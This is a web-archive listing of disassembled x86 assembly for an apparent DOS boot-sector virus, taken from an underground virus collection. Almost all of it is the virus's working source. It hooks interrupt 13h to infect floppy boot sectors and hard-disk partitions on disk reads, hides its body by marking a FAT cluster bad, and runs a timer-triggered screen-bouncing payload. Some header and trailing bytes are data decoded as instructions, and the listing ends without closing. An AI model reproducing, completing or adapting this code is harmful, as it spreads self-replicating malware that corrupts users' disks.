home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / u-z / vboot.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.9 KB  |  514 lines

  1.         jmp    short loc_3
  2.  
  3.         nop
  4.  
  5.         dec    cx
  6.  
  7.         inc    dx
  8.  
  9.         dec    bp
  10.  
  11.         and    [bx+si],ah
  12.  
  13.         xor    bp,data_10
  14.  
  15.         add    al,[si]
  16.  
  17. data_14     dw    1
  18.  
  19.         add    al,[bx+si]
  20.  
  21.         add    bh,[bp+di]
  22.  
  23.         mov    data_12,al
  24.  
  25.         add    [bx+di],dl
  26.  
  27.         add    [si],al
  28.  
  29.         add    [bx+di],dl
  30.  
  31.         add    [bp+di],dh
  32.  
  33. loc_3:
  34.  
  35.         xor    ax,ax
  36.  
  37.         mov    ss,ax
  38.  
  39.         mov    sp,7C00h
  40.  
  41.         mov    ds,ax
  42.  
  43.         mov    ax,data_5
  44.  
  45.         sub    ax,2
  46.  
  47.         mov    data_5,ax
  48.  
  49.         mov    cl,6
  50.  
  51.         shl    ax,cl                ; Shift w/zeros fill
  52.  
  53.         sub    ax,7C0h
  54.  
  55.         mov    es,ax
  56.  
  57.         mov    si,7C00h
  58.  
  59.         mov    di,si
  60.  
  61.         mov    cx,100h
  62.  
  63.         rep    movsw                ; Rep while cx>0 Mov [si] to es:[di]
  64.  
  65.         db    8Eh
  66.  
  67.         db    0C8h
  68.  
  69.         push    cs
  70.  
  71.         pop    ds
  72.  
  73.         call    sub_1
  74.  
  75.  
  76.  
  77. ;==========================================================================
  78.  
  79. ;                   SUBROUTINE
  80.  
  81. ;==========================================================================
  82.  
  83.  
  84.  
  85. sub_1        proc    near
  86.  
  87.         xor    ah,ah                ; Zero register
  88.  
  89.         int    13h                ; Disk    dl=drive b: ah=func 00h
  90.  
  91.                             ;  reset disk, al=return status
  92.  
  93.         and    data_24,80h
  94.  
  95.         mov    bx,data_25
  96.  
  97.         push    cs
  98.  
  99.         pop    ax
  100.  
  101.         sub    ax,20h
  102.  
  103.         mov    es,ax
  104.  
  105.         call    sub_3
  106.  
  107.         mov    bx,data_25
  108.  
  109.         inc    bx
  110.  
  111.         mov    ax,0FFC0h
  112.  
  113.         mov    es,ax
  114.  
  115.         call    sub_3
  116.  
  117.         xor    ax,ax                ; Zero register
  118.  
  119.         mov    data_23,al
  120.  
  121.         mov    ds,ax
  122.  
  123.         mov    ax,data_3
  124.  
  125.         mov    bx,data_4
  126.  
  127.         mov    data_3,7CD0h
  128.  
  129.         mov    data_4,cs
  130.  
  131.         push    cs
  132.  
  133.         pop    ds
  134.  
  135.         mov    data_19,ax
  136.  
  137.         mov    data_20,bx
  138.  
  139.         mov    dl,data_24
  140.  
  141.         jmp    far ptr loc_2
  142.  
  143. sub_1        endp
  144.  
  145.  
  146.  
  147.  
  148.  
  149. ;==========================================================================
  150.  
  151. ;                   SUBROUTINE
  152.  
  153. ;==========================================================================
  154.  
  155.  
  156.  
  157. sub_2        proc    near
  158.  
  159.         mov    ax,301h
  160.  
  161.         jmp    short loc_4
  162.  
  163.  
  164.  
  165. ;==== External Entry into Subroutine ======================================
  166.  
  167.  
  168.  
  169. sub_3:
  170.  
  171.         mov    ax,201h
  172.  
  173. loc_4:
  174.  
  175.         xchg    ax,bx
  176.  
  177.         add    ax,data_18
  178.  
  179.         xor    dx,dx                ; Zero register
  180.  
  181.         div    data_16             ; ax,dxrem=dx:ax/data
  182.  
  183.         inc    dl
  184.  
  185.         mov    ch,dl
  186.  
  187.         xor    dx,dx                ; Zero register
  188.  
  189.         div    data_17             ; ax,dxrem=dx:ax/data
  190.  
  191.         mov    cl,6
  192.  
  193.         shl    ah,cl                ; Shift w/zeros fill
  194.  
  195.         or    ah,ch
  196.  
  197.         mov    cx,ax
  198.  
  199.         xchg    ch,cl
  200.  
  201.         mov    dh,dl
  202.  
  203.         mov    ax,bx
  204.  
  205.  
  206.  
  207. ;==== External Entry into Subroutine ======================================
  208.  
  209.  
  210.  
  211. sub_4:
  212.  
  213.         mov    dl,data_24
  214.  
  215.         mov    bx,8000h
  216.  
  217.         int    13h                ; Disk    dl=drive b: ah=func 02h
  218.  
  219.                             ;  read sectors to memory es:bx
  220.  
  221.         jnc    loc_ret_5            ; Jump if carry=0
  222.  
  223.         pop    ax
  224.  
  225.  
  226.  
  227. loc_ret_5:
  228.  
  229.         retn
  230.  
  231. sub_2        endp
  232.  
  233.  
  234.  
  235.         push    ds
  236.  
  237.         push    es
  238.  
  239.         push    ax
  240.  
  241.         push    bx
  242.  
  243.         push    cx
  244.  
  245.         push    dx
  246.  
  247.         push    cs
  248.  
  249.         pop    ds
  250.  
  251.         push    cs
  252.  
  253.         pop    es
  254.  
  255.         test    data_23,1
  256.  
  257.         jnz    loc_8                ; Jump if not zero
  258.  
  259.         cmp    ah,2
  260.  
  261.         jne    loc_8                ; Jump if not equal
  262.  
  263.         cmp    data_24,dl
  264.  
  265.         mov    data_24,dl
  266.  
  267.         jnz    loc_7                ; Jump if not zero
  268.  
  269.         xor    ah,ah                ; Zero register
  270.  
  271.         int    1Ah                ; Real time clock   ah=func 00h
  272.  
  273.                             ;  get system timer count cx,dx
  274.  
  275.         test    dh,7Fh
  276.  
  277.         jnz    loc_6                ; Jump if not zero
  278.  
  279.         test    dl,0F0h
  280.  
  281.         jnz    loc_6                ; Jump if not zero
  282.  
  283.         push    dx
  284.  
  285.         call    sub_6
  286.  
  287.         pop    dx
  288.  
  289. loc_6:
  290.  
  291.         mov    cx,dx
  292.  
  293.         sub    dx,data_26
  294.  
  295.         mov    data_26,cx
  296.  
  297.         sub    dx,24h
  298.  
  299.         jc    loc_8                ; Jump if carry Set
  300.  
  301. loc_7:
  302.  
  303.         or    data_23,1
  304.  
  305.         push    si
  306.  
  307.         push    di
  308.  
  309.         call    sub_5
  310.  
  311.         pop    di
  312.  
  313.         pop    si
  314.  
  315.         and    data_23,0FEh
  316.  
  317. loc_8:
  318.  
  319.         pop    dx
  320.  
  321.         pop    cx
  322.  
  323.         pop    bx
  324.  
  325.         pop    ax
  326.  
  327.         pop    es
  328.  
  329.         pop    ds
  330.  
  331.         jmp    far ptr loc_38
  332.  
  333.  
  334.  
  335. ;==========================================================================
  336.  
  337. ;                   SUBROUTINE
  338.  
  339. ;==========================================================================
  340.  
  341.  
  342.  
  343. sub_5        proc    near
  344.  
  345.         mov    ax,201h
  346.  
  347.         mov    dh,0
  348.  
  349.         mov    cx,1
  350.  
  351.         call    sub_4
  352.  
  353.         test    data_24,80h
  354.  
  355.         jz    loc_11                ; Jump if zero
  356.  
  357.         mov    si,81BEh
  358.  
  359.         mov    cx,4
  360.  
  361.  
  362.  
  363. locloop_9:
  364.  
  365.         cmp    data_8[si],1
  366.  
  367.         je    loc_10                ; Jump if equal
  368.  
  369.         cmp    data_8[si],4
  370.  
  371.         je    loc_10                ; Jump if equal
  372.  
  373.         add    si,10h
  374.  
  375.         loop    locloop_9            ; Loop if cx > 0
  376.  
  377.  
  378.  
  379.         retn
  380.  
  381. loc_10:
  382.  
  383.         mov    dx,[si]
  384.  
  385.         mov    cx,data_7[si]
  386.  
  387.         mov    ax,201h
  388.  
  389.         call    sub_4
  390.  
  391. loc_11:
  392.  
  393.         mov    si,8002h
  394.  
  395.         mov    di,7C02h
  396.  
  397.         mov    cx,1Ch
  398.  
  399.         rep    movsb                ; Rep while cx>0 Mov [si] to es:[di]
  400.  
  401.         cmp    data_46,1357h
  402.  
  403.         jne    loc_13                ; Jump if not equal
  404.  
  405.         cmp    data_45,0
  406.  
  407.         jae    loc_ret_12            ; Jump if above or =
  408.  
  409.         mov    ax,data_43
  410.  
  411.         mov    data_22,ax
  412.  
  413.         mov    si,data_44
  414.  
  415.         jmp    loc_23
  416.  
  417.  
  418.  
  419. loc_ret_12:
  420.  
  421.         retn
  422.  
  423. loc_13:
  424.  
  425.         cmp    data_37,200h
  426.  
  427.         jne    loc_ret_12            ; Jump if not equal
  428.  
  429.         cmp    data_38,2
  430.  
  431.         jb    loc_ret_12            ; Jump if below
  432.  
  433.         mov    cx,data_39
  434.  
  435.         mov    al,data_40
  436.  
  437.         cbw                    ; Convrt byte to word
  438.  
  439.         mul    data_42             ; ax = data * ax
  440.  
  441.         add    cx,ax
  442.  
  443.         mov    ax,20h
  444.  
  445.         mul    data_41             ; ax = data * ax
  446.  
  447.         add    ax,1FFh
  448.  
  449.         mov    bx,200h
  450.  
  451.         div    bx                ; ax,dx rem=dx:ax/reg
  452.  
  453.         add    cx,ax
  454.  
  455.         mov    data_22,cx
  456.  
  457.         mov    ax,data_15
  458.  
  459.         sub    ax,data_22
  460.  
  461.         mov    bl,data_13
  462.  
  463.         xor    dx,dx                ; Zero register
  464.  
  465.         xor    bh,bh                ; Zero register
  466.  
  467.         div    bx                ; ax,dx rem=dx:ax/reg
  468.  
  469.         inc    ax
  470.  
  471.         mov    di,ax
  472.  
  473.         and    data_23,0FBh
  474.  
  475.         cmp    ax,0FF0h
  476.  
  477.         jbe    loc_14                ; Jump if below or =
  478.  
  479.         or    data_23,4
  480.  
  481. loc_14:
  482.  
  483.         mov    si,1
  484.  
  485.         mov    bx,data_14
  486.  
  487.         dec    bx
  488.  
  489.         mov    data_21,bx
  490.  
  491.         mov    data_27,0FEh
  492.  
  493.         jmp    short loc_15
  494.  
  495. data_21     dw    1Ah
  496.  
  497. data_22     dw    73h
  498.  
  499. data_23     db    4
  500.  
  501. data_24     db    81h
  502.  
  503. data_25     dw    654Bh
  504.  
  505.         add    data_9[bx],dl
  506.  
  507.         push    bp
  508.  
  509.         stosb                    ; Store al to es:[di]
  510.  
  511. loc_15:
  512.  
  513.         inc    data_21
  514.  
  515.         mov    bx,data_21
  516.  
  517.         add    data_27,2
  518.  
  519.         call    sub_3
  520.  
  521.         jmp    short loc_20
  522.  
  523. loc_16:
  524.  
  525.         mov    ax,3
  526.  
  527.         test    data_23,4
  528.  
  529.         jz    loc_17                ; Jump if zero
  530.  
  531.         inc    ax
  532.  
  533. loc_17:
  534.  
  535.         mul    si                ; dx:ax = reg * ax
  536.  
  537.         shr    ax,1                ; Shift w/zeros fill
  538.  
  539.         sub    ah,data_27
  540.  
  541.         mov    bx,ax
  542.  
  543.         cmp    bx,1FFh
  544.  
  545.         jae    loc_15                ; Jump if above or =
  546.  
  547.         mov    dx,data_36[bx]
  548.  
  549.         test    data_23,4
  550.  
  551.         jnz    loc_19                ; Jump if not zero
  552.  
  553.         mov    cl,4
  554.  
  555.         test    si,1
  556.  
  557.         jz    loc_18                ; Jump if zero
  558.  
  559.         shr    dx,cl                ; Shift w/zeros fill
  560.  
  561. loc_18:
  562.  
  563.         and    dh,0Fh
  564.  
  565. loc_19:
  566.  
  567.         test    dx,0FFFFh
  568.  
  569.         jz    loc_21                ; Jump if zero
  570.  
  571. loc_20:
  572.  
  573.         inc    si
  574.  
  575.         cmp    si,di
  576.  
  577.         jbe    loc_16                ; Jump if below or =
  578.  
  579.         retn
  580.  
  581. loc_21:
  582.  
  583.         mov    dx,0FFF7h
  584.  
  585.         test    data_23,4
  586.  
  587.         jnz    loc_22                ; Jump if not zero
  588.  
  589.         and    dh,0Fh
  590.  
  591.         mov    cl,4
  592.  
  593.         test    si,1
  594.  
  595.         jz    loc_22                ; Jump if zero
  596.  
  597.         shl    dx,cl                ; Shift w/zeros fill
  598.  
  599. loc_22:
  600.  
  601.         or    data_36[bx],dx
  602.  
  603.         mov    bx,data_21
  604.  
  605.         call    sub_2
  606.  
  607.         mov    ax,si
  608.  
  609.         sub    ax,2
  610.  
  611.         mov    bl,data_13
  612.  
  613.         xor    bh,bh                ; Zero register
  614.  
  615.         mul    bx                ; dx:ax = reg * ax
  616.  
  617.         add    ax,data_22
  618.  
  619.         mov    si,ax
  620.  
  621.         mov    bx,0
  622.  
  623.         call    sub_3
  624.  
  625.         mov    bx,si
  626.  
  627.         inc    bx
  628.  
  629.         call    sub_2
  630.  
  631. loc_23:
  632.  
  633.         mov    bx,si
  634.  
  635.         mov    data_25,si
  636.  
  637.         push    cs
  638.  
  639.         pop    ax
  640.  
  641.         sub    ax,20h
  642.  
  643.         mov    es,ax
  644.  
  645.         call    sub_2
  646.  
  647.         push    cs
  648.  
  649.         pop    ax
  650.  
  651.         sub    ax,40h
  652.  
  653.         mov    es,ax
  654.  
  655.         mov    bx,0
  656.  
  657.         call    sub_2
  658.  
  659.         retn
  660.  
  661. sub_5        endp
  662.  
  663.  
  664.  
  665. data_26     dw    246Eh
  666.  
  667. data_27     db    32h
  668.  
  669.  
  670.  
  671. ;==========================================================================
  672.  
  673. ;                   SUBROUTINE
  674.  
  675. ;==========================================================================
  676.  
  677.  
  678.  
  679. sub_6        proc    near
  680.  
  681.         test    data_23,2
  682.  
  683.         jnz    loc_ret_24            ; Jump if not zero
  684.  
  685.         or    data_23,2
  686.  
  687.         mov    ax,0
  688.  
  689.         mov    ds,ax
  690.  
  691.         mov    ax,data_1
  692.  
  693.         mov    bx,data_2
  694.  
  695.         mov    data_1,7EDFh
  696.  
  697.         mov    data_2,cs
  698.  
  699.         push    cs
  700.  
  701.         pop    ds
  702.  
  703.         mov    data_28,ax
  704.  
  705.         mov    data_29,bx
  706.  
  707.  
  708.  
  709. loc_ret_24:
  710.  
  711.         retn
  712.  
  713. sub_6        endp
  714.  
  715.  
  716.  
  717.         push    ds
  718.  
  719.         push    ax
  720.  
  721.         push    bx
  722.  
  723.         push    cx
  724.  
  725.         push    dx
  726.  
  727.         push    cs
  728.  
  729.         pop    ds
  730.  
  731.         mov    ah,0Fh
  732.  
  733.         int    10h                ; Video display   ah=functn 0Fh
  734.  
  735.                             ;  get state, al=mode, bh=page
  736.  
  737.         mov    bl,al
  738.  
  739.         cmp    bx,data_34
  740.  
  741.         je    loc_27                ; Jump if equal
  742.  
  743.         mov    data_34,bx
  744.  
  745.         dec    ah
  746.  
  747.         mov    data_35,ah
  748.  
  749.         mov    ah,1
  750.  
  751.         cmp    bl,7
  752.  
  753.         jne    loc_25                ; Jump if not equal
  754.  
  755.         dec    ah
  756.  
  757. loc_25:
  758.  
  759.         cmp    bl,4
  760.  
  761.         jae    loc_26                ; Jump if above or =
  762.  
  763.         dec    ah
  764.  
  765. loc_26:
  766.  
  767.         mov    data_33,ah
  768.  
  769.         mov    data_31,101h
  770.  
  771.         mov    data_32,101h
  772.  
  773.         mov    ah,3
  774.  
  775.         int    10h                ; Video display   ah=functn 03h
  776.  
  777.                             ;  get cursor loc in dx, mode cx
  778.  
  779.         push    dx
  780.  
  781.         mov    dx,data_31
  782.  
  783.         jmp    short loc_29
  784.  
  785. loc_27:
  786.  
  787.         mov    ah,3
  788.  
  789.         int    10h                ; Video display   ah=functn 03h
  790.  
  791.                             ;  get cursor loc in dx, mode cx
  792.  
  793.         push    dx
  794.  
  795.         mov    ah,2
  796.  
  797.         mov    dx,data_31
  798.  
  799.         int    10h                ; Video display   ah=functn 02h
  800.  
  801.                             ;  set cursor location in dx
  802.  
  803.         mov    ax,data_30
  804.  
  805.         cmp    data_33,1
  806.  
  807.         jne    loc_28                ; Jump if not equal
  808.  
  809.         mov    ax,8307h
  810.  
  811. loc_28:
  812.  
  813.         mov    bl,ah
  814.  
  815.         mov    cx,1
  816.  
  817.         mov    ah,9
  818.  
  819.         int    10h                ; Video display   ah=functn 09h
  820.  
  821.                             ;  set char al & attrib ah @curs
  822.  
  823. loc_29:
  824.  
  825.         mov    cx,data_32
  826.  
  827.         cmp    dh,0
  828.  
  829.         jne    loc_30                ; Jump if not equal
  830.  
  831.         xor    ch,0FFh
  832.  
  833.         inc    ch
  834.  
  835. loc_30:
  836.  
  837.         cmp    dh,18h
  838.  
  839.         jne    loc_31                ; Jump if not equal
  840.  
  841.         xor    ch,0FFh
  842.  
  843.         inc    ch
  844.  
  845. loc_31:
  846.  
  847.         cmp    dl,0
  848.  
  849.         jne    loc_32                ; Jump if not equal
  850.  
  851.         xor    cl,0FFh
  852.  
  853.         inc    cl
  854.  
  855. loc_32:
  856.  
  857.         cmp    dl,data_35
  858.  
  859.         jne    loc_33                ; Jump if not equal
  860.  
  861.         xor    cl,0FFh
  862.  
  863.         inc    cl
  864.  
  865. loc_33:
  866.  
  867.         cmp    cx,data_32
  868.  
  869.         jne    loc_35                ; Jump if not equal
  870.  
  871.         mov    ax,data_30
  872.  
  873.         and    al,7
  874.  
  875.         cmp    al,3
  876.  
  877.         jne    loc_34                ; Jump if not equal
  878.  
  879.         xor    ch,0FFh
  880.  
  881.         inc    ch
  882.  
  883. loc_34:
  884.  
  885.         cmp    al,5
  886.  
  887.         jne    loc_35                ; Jump if not equal
  888.  
  889.         xor    cl,0FFh
  890.  
  891.         inc    cl
  892.  
  893. loc_35:
  894.  
  895.         add    dl,cl
  896.  
  897.         add    dh,ch
  898.  
  899.         mov    data_32,cx
  900.  
  901.         mov    data_31,dx
  902.  
  903.         mov    ah,2
  904.  
  905.         int    10h                ; Video display   ah=functn 02h
  906.  
  907.                             ;  set cursor location in dx
  908.  
  909.         mov    ah,8
  910.  
  911.         int    10h                ; Video display   ah=functn 08h
  912.  
  913.                             ;  get char al & attrib ah @curs
  914.  
  915.         mov    data_30,ax
  916.  
  917.         mov    bl,ah
  918.  
  919.         cmp    data_33,1
  920.  
  921.         jne    loc_36                ; Jump if not equal
  922.  
  923.         mov    bl,83h
  924.  
  925. loc_36:
  926.  
  927.         mov    cx,1
  928.  
  929.         mov    ax,907h
  930.  
  931.         int    10h                ; Video display   ah=functn 09h
  932.  
  933.                             ;  set char al & attrib ah @curs
  934.  
  935.         pop    dx
  936.  
  937.         mov    ah,2
  938.  
  939.         int    10h                ; Video display   ah=functn 02h
  940.  
  941.                             ;  set cursor location in dx
  942.  
  943.         pop    dx
  944.  
  945.         pop    cx
  946.  
  947.         pop    bx
  948.  
  949.         pop    ax
  950.  
  951.         pop    ds
  952.  
  953.         jmp    far ptr loc_1
  954.  
  955. data_30     dw    0
  956.  
  957. data_31     dw    101h
  958.  
  959. data_32     dw    101h
  960.  
  961. data_33     db    0
  962.  
  963. data_34     dw    0FFFFh
  964.  
  965. data_35     db    50h
  966.  
  967.         mov    bh,0B7h
  968.  
  969.         mov    bh,0B6h
  970.  
  971.         inc    ax
  972.  
  973.         inc    ax
  974.  
  975.         mov    dh,bl
  976.  
  977.         out    5Ah,al                ; port 5Ah
  978.  
  979.         lodsb                    ; String [si] to al
  980.  
  981.         shl    ah,cl                ; Shift w/zeros fill
  982.  
  983.         jmp    far ptr loc_39
  984.  
  985.         inc    ax
  986.  
  987.         db    64h
  988.  
  989.         pop    sp
  990.  
  991.         db    60h
  992.  
  993.         push    dx
  994.  
  995.         inc    ax
  996.  
  997.         inc    ax
  998.  
  999.         inc    ax
  1000.  
  1001.         inc    ax
  1002.  
  1003.         db    64h
  1004.  
  1005.         db    62h
  1006.  
  1007.         pop    si
  1008.  
  1009.         db    62h
  1010.  
  1011.         db    60h
  1012.  
  1013.         pop    si
  1014.  
  1015.         jo    loc_37                ; Jump if overflow=1
  1016.  
  1017.         inc    ax
  1018.  
  1019.         inc    cx
  1020.  
  1021.         mov    bh,0B7h
  1022.  
  1023.         mov    bh,0B6h
  1024.  
  1025.  
  1026.  
  1027.